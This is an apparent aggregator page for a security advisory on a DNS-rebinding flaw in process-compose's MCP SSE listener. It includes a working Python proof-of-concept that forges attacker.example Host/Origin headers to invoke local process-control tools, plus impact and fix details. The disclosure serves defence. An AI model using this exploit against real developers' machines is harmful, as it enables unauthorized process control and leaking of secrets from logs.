Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
CVE-2026-77339 (GitHub advisory GHSA-5gm3-9crp-6g3v) is a medium-severity vulnerability with a CVSS 4.0 base score of 5.1, classed as Missing Authentication for Critical Function (CWE-306), in github.com/f1bonacc1/process-compose (Go). Affected versions: < 1.120.0. It is fixed in 1.120.0.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-77339
- GHSA ID
- GHSA-5gm3-9crp-6g3v
- EPSS
- 0.21%higher than 12% of CVEs
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- Go
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.
This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.
The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.
Affected Code
Root cause:
src/types/mcp.go:24-30 SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70 SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214 The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39 X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.
Impact surface:
src/mcp/mcp_manager.go:33-38 expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116 The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.
Reproduction
Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:
workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485
go build -o ./process-compose-poc .
cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
host: 127.0.0.1
port: 8081
transport: sse
expose_control_tools: true
processes:
sleeper:
command: "sleep 600"
disabled: true
YAML
PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
-f ./process-compose-mcp-poc.yaml \
-t=false \
--no-server \
--keep-project \
--log-file ./process-compose-mcp-poc.log
In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:
python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse
host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
"Host": attacker_host,
"Origin": origin,
"Accept": "text/event-stream",
}
events = queue.Queue()
def read_sse(resp):
event = None
data = None
while True:
line = resp.readline()
if not line:
return
text = line.decode("utf-8", "replace").strip()
if text.startswith("event:"):
event = text.split(":", 1)[1].strip()
elif text.startswith("data:"):
data = text.split(":", 1)[1].strip()
elif text == "" and (event or data):
events.put((event, data))
event = None
data = None
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()
endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
event, data = events.get(timeout=1)
if event == "endpoint":
endpoint = data
break
assert endpoint, "no SSE endpoint event"
print("endpoint", endpoint)
def post(message):
parsed = urllib.parse.urlparse(endpoint)
path = parsed.path + ("?" + parsed.query if parsed.query else "")
body = json.dumps(message).encode()
c = http.client.HTTPConnection(host, port, timeout=10)
c.request("POST", path, body=body, headers={
"Host": attacker_host,
"Origin": origin,
"Content-Type": "application/json",
"Content-Length": str(len(body)),
"Authorization": "Bearer invalid-replay-token",
})
r = c.getresponse()
r.read()
c.close()
print("POST", message.get("method"), r.status)
def wait_result(rpc_id):
deadline = time.time() + 10
while time.time() < deadline:
event, data = events.get(timeout=1)
if event == "message" and data:
msg = json.loads(data)
if msg.get("id") == rpc_id:
return msg
raise SystemExit(f"no result for id {rpc_id}")
post({
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "rebind-poc", "version": "1.0.0"}
}
})
print(json.dumps(wait_result(1), indent=2))
post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})
post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})
tools = wait_result(2)
names = [tool["name"] for tool in tools["result"]["tools"]]
print("tools", names)
post({
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "pc_process_list",
"arguments": {}
}
})
print(json.dumps(wait_result(3), indent=2))
PY
Observed Result
The MCP SSE listener accepted the forged browser-origin request shape:
Host: attacker.example:8081
Origin: http://attacker.example:8081
Authorization: Bearer invalid-replay-token
The server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: *. The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.
The operator reproduced the issue against the genuine process-compose target and observed pc_process_list returning:
{
"data": [
{
"name": "sleeper",
"namespace": "default",
"status": "Disabled",
"system_time": "-",
"age": 0,
"is_ready": "-",
"has_ready_probe": false,
"restarts": 0,
"exit_code": 0,
"pid": 0,
"is_elevated": false,
"password_provided": false,
"mem": 0,
"cpu": 0,
"is_running": false
}
]
}
Earlier replay against the same target also listed 13 pc_* MCP control tools and reached project-state and process-control calls through the SSE message endpoint.
Impact
A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.
With expose_control_tools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.
Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.
Suggested Fix
Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:
- Reject requests whose
Hostheader is not loopback or an explicit configured trusted name. - Reject browser requests whose
Originis not a trusted loopback or configured origin. - Require a random per-run bearer token or equivalent caller secret on both
/sseand the returned/messageendpoint. - Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.
- Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.
Technical details
Source: GitHub Advisory Database
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:NMedium5.1Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Attack Requirements AT
- Present
- Privileges Required PR
- None
- User Interaction UI
- Passive
- Confidentiality (Vulnerable System) VC
- Low
- Integrity (Vulnerable System) VI
- Low
- Availability (Vulnerable System) VA
- None
- Confidentiality (Subsequent Systems) SC
- Low
- Integrity (Subsequent Systems) SI
- High
- Availability (Subsequent Systems) SA
- None
CISA SSVC decision points
- Exploitation
- poc
- Proof-of-concept code is public
- Automatable
- no
- Needs manual steps per target
- Technical impact
- partial
- Limited control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- github.com/f1bonacc1/process-composeGo
pkg:golang/github.com/f1bonacc1/process-compose- Affected versions
- < 1.120.0
- Fixed in
- 1.120.0
| Package | Affected versions | Fixed in |
|---|---|---|
github.com/f1bonacc1/process-compose Go pkg:golang/github.com/f1bonacc1/process-compose |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 1.120.0 or later.
Patch commits
fix(mcp): add Host/Origin/auth trust boundary to SSE listener (GHSA-5gm3-9crp-6g3v)
+424 −5 across 7 files
- docs/release-notes.md+6 −0
- schemas/process-compose-schema.json+6 −0
- src/mcp/server.go+28 −2
- src/mcp/sse_security.go+164 −0
- src/mcp/sse_security_test.go+185 −0
- src/types/mcp.go+4 −3
- www/docs/mcp-server.md+31 −0
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Advisories 4
Package 1
Credits
- avishaigonen-plutoreporter
- yotampe-plutoreporter
Questions about CVE-2026-77339
- What is the GHSA ID for CVE-2026-77339?
- GitHub tracks CVE-2026-77339 as GHSA-5gm3-9crp-6g3v.
- What is the CVSS score of CVE-2026-77339?
- CVE-2026-77339 has a CVSS 4.0 base score of 5.1 (Medium), vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N.
- Which versions are affected by CVE-2026-77339?
- github.com/f1bonacc1/process-compose (Go): < 1.120.0.
- How do I fix CVE-2026-77339?
- Upgrade to 1.120.0 or later. The fix is in commit 6ffa74f.
- What is the Package URL (PURL) for CVE-2026-77339?
- The affected package's PURL is pkg:golang/github.com/f1bonacc1/process-compose.
- Is CVE-2026-77339 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-77339. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.21% chance of exploitation in the next 30 days, higher than 12% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 6 days ago (8 Oct 2026, 08:07 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.